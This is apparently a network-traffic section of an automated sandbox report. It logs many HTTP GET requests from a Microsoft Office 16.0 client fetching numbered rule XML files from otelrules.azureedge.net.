Source: global traffic HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
